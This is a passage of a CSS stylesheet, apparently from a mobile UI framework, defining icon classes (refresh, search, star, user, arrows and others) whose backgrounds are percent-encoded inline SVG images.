0C10.584%2C4.642%2C11%2C5.675%2C11%2C6.773s-0.416%2C2.133-1.172%2C2.91c-1.512%2C1.558-4.145%2C1.558-5.656%2C0C3.416%2C8.904%2C3%2C7.872%2C3%2C6.773%20C3%2C5.673%2C3.416%2C4.64%2C4.172%2C3.863c0.39-0.401%2C0.39-1.054%2C0-1.455c-0.391-0.401-1.024-0.401-1.415%2C0C1.624%2C3.574%2C1%2C5.125%2C1%2C6.773%20c0%2C1.647%2C0.624%2C3.199%2C1.757%2C4.365c1.134%2C1.166%2C2.64%2C1.809%2C4.243%2C1.809c1.604%2C0%2C3.109-0.645%2C4.243-1.811%20C12.376%2C9.975%2C13%2C8.423%2C13%2C6.773C13%2C5.125%2C12.376%2C3.574%2C11.243%2C2.408z%20M7%2C8.053c0.553%2C0%2C1-0.445%2C1-1v-6c0-0.553-0.447-1-1-1%20c-0.553%2C0-1%2C0.447-1%2C1v6C6%2C7.604%2C6.447%2C8.053%2C7%2C8.053z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-recycle:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M3%2C7h1L2%2C4L0%2C7h1c0%2C3.313%2C2.687%2C6%2C6%2C6c0.702%2C0%2C1.374-0.127%2C2-0.35v-2.205C8.41%2C10.789%2C7.732%2C11%2C7%2C11%20C4.791%2C11%2C3%2C9.209%2C3%2C7z%20M13%2C7c0-3.313-2.688-6-6-6C6.298%2C1%2C5.626%2C1.127%2C5%2C1.349v2.206C5.59%2C3.211%2C6.268%2C3%2C7%2C3c2.209%2C0%2C4%2C1.791%2C4%2C4%20h-1l2%2C3l2-3H13z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-refresh:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214.001px%22%20height%3D%2214.002px%22%20viewBox%3D%220%200%2014.001%2014.002%22%20style%3D%22enable-background%3Anew%200%200%2014.001%2014.002%3B%22%20%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M14.001%2C6.001v-6l-2.06%2C2.06c-0.423-0.424-0.897-0.809-1.44-1.122C7.153-0.994%2C2.872%2C0.153%2C0.939%2C3.501%20c-1.933%2C3.348-0.786%2C7.629%2C2.562%2C9.562c3.348%2C1.933%2C7.629%2C0.785%2C9.562-2.562l-1.732-1c-1.381%2C2.392-4.438%2C3.211-6.83%2C1.83%20s-3.211-4.438-1.83-6.83s4.438-3.211%2C6.83-1.83c0.389%2C0.225%2C0.718%2C0.506%2C1.02%2C0.81l-2.52%2C2.52H14.001z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-search:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M10.171%2C8.766c0.617-0.888%2C0.979-1.964%2C0.979-3.126c0-3.037-2.463-5.5-5.5-5.5s-5.5%2C2.463-5.5%2C5.5%20s2.463%2C5.5%2C5.5%2C5.5c1.152%2C0%2C2.223-0.355%2C3.104-0.962l3.684%2C3.683l1.414-1.414L10.171%2C8.766z%20M5.649%2C9.14c-1.933%2C0-3.5-1.567-3.5-3.5%20c0-1.933%2C1.567-3.5%2C3.5-3.5c1.933%2C0%2C3.5%2C1.567%2C3.5%2C3.5C9.149%2C7.572%2C7.582%2C9.14%2C5.649%2C9.14z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-shop:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M10%2C4V3c0-1.657-1.343-3-3-3S4%2C1.343%2C4%2C3v1H1v10h12V4H10z%20M4.5%2C6C4.224%2C6%2C4%2C5.776%2C4%2C5.5%20S4.224%2C5%2C4.5%2C5S5%2C5.224%2C5%2C5.5S4.776%2C6%2C4.5%2C6z%20M5%2C3c0-1.104%2C0.896-2%2C2-2c1.104%2C0%2C2%2C0.896%2C2%2C2v1H5V3z%20M9.5%2C6C9.225%2C6%2C9%2C5.776%2C9%2C5.5%20S9.225%2C5%2C9.5%2C5S10%2C5.224%2C10%2C5.5S9.775%2C6%2C9.5%2C6z%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-star:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20style%3D%22fill%3A%23FFFFFF%3B%22%20points%3D%2214%2C5%209%2C5%207%2C0%205%2C5%200%2C5%204%2C8%202.625%2C13%207%2C10%2011.375%2C13%2010%2C8%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-icon-tag:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M5%2C0H0v5l9%2C9l5-5L5%2C0z%20M3%2C4C2.447%2C4%2C2%2C3.553%2C2%2C3s0.447-1%2C1-1s1%2C0.447%2C1%2C1S3.553%2C4%2C3%2C4z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-user:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23FFF%22%20d%3D%22M8.851%2C10.101c-0.18-0.399-0.2-0.763-0.153-1.104C9.383%2C8.49%2C9.738%2C7.621%2C9.891%2C6.465C10.493%2C6.355%2C10.5%2C5.967%2C10.5%2C5.5%20c0-0.437-0.008-0.804-0.502-0.94C9.999%2C4.539%2C10%2C4.521%2C10%2C4.5c0-2.103-1-4-2-4C8%2C0.5%2C7.5%2C0%2C6.5%2C0C5%2C0%2C4%2C1.877%2C4%2C4.5%20c0%2C0.021%2C0.001%2C0.039%2C0.002%2C0.06C3.508%2C4.696%2C3.5%2C5.063%2C3.5%2C5.5c0%2C0.467%2C0.007%2C0.855%2C0.609%2C0.965%20C4.262%2C7.621%2C4.617%2C8.49%2C5.303%2C8.997c0.047%2C0.341%2C0.026%2C0.704-0.153%2C1.104C1.503%2C10.503%2C0%2C12%2C0%2C12v2h14v-2%20C14%2C12%2C12.497%2C10.503%2C8.851%2C10.101z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-icon-video:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%20-2%2014%2014%22%20style%3D%22enable-background%3Anew%200%20-2%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20style%3D%22fill%3A%23FFFFFF%3B%22%20d%3D%22M8%2C0H2C0.896%2C0%2C0%2C0.896%2C0%2C2v6c0%2C1.104%2C0.896%2C2%2C2%2C2h6c1.104%2C0%2C2-0.896%2C2-2V5V2C10%2C0.896%2C9.104%2C0%2C8%2C0z%20%20M10%2C5l4%2C4V1L10%2C5z%22%2F%3E%3C%2Fsvg%3E"); } /* Alt icons */ .ui-alt-icon.ui-icon-action:after, .ui-alt-icon .ui-icon-action:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M9%2C5v3l5-4L9%2C0v3c0%2C0-5%2C0-5%2C7C6%2C5%2C9%2C5%2C9%2C5z%20M11%2C12H2V5h1l2-2H0v11h13V7l-2%2C2V12z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-alert:after, .ui-alt-icon .ui-icon-alert:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M7%2C0L0%2C12h14L7%2C0z%20M7%2C11c-0.553%2C0-1-0.447-1-1s0.447-1%2C1-1c0.553%2C0%2C1%2C0.447%2C1%2C1S7.553%2C11%2C7%2C11z%20M7%2C8C6.447%2C8%2C6%2C7.553%2C6%2C7V5%20c0-0.553%2C0.447-1%2C1-1c0.553%2C0%2C1%2C0.447%2C1%2C1v2C8%2C7.553%2C7.553%2C8%2C7%2C8z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-arrow-d:after, .ui-alt-icon .ui-icon-arrow-d:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%229%2C7%209%2C0%205%2C0%205%2C7%200%2C7%207%2C14%2014%2C7%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-arrow-d-l:after, .ui-alt-icon .ui-icon-arrow-d-l:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2214%2C3%2011%2C0%203.5%2C7.5%200%2C4%200%2C14%2010%2C14%206.5%2C10.5%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-arrow-d-r:after, .ui-alt-icon .ui-icon-arrow-d-r:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2210.5%2C7.5%203%2C0%200%2C3%207.5%2C10.5%204%2C14%2014%2C14%2014%2C4%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-arrow-l:after, .ui-alt-icon .ui-icon-arrow-l:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%227%2C5%207%2C0%200%2C7%207%2C14%207%2C9%2014%2C9%2014%2C5%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-arrow-r:after, .ui-alt-icon .ui-icon-arrow-r:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2214%2C7%207%2C0%207%2C5%200%2C5%200%2C9%207%2C9%207%2C14%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-arrow-u:after, .ui-alt-icon .ui-icon-arrow-u:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%227%2C0%200%2C7%205%2C7%205%2C14%209%2C14%209%2C7%2014%2C7%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-arrow-u-l:after, .ui-alt-icon .ui-icon-arrow-u-l:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2214%2C11%206.5%2C3.5%2010%2C0%200%2C0%200%2C10%203.5%2C6.5%2011%2C14%20%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-arrow-u-r:after, 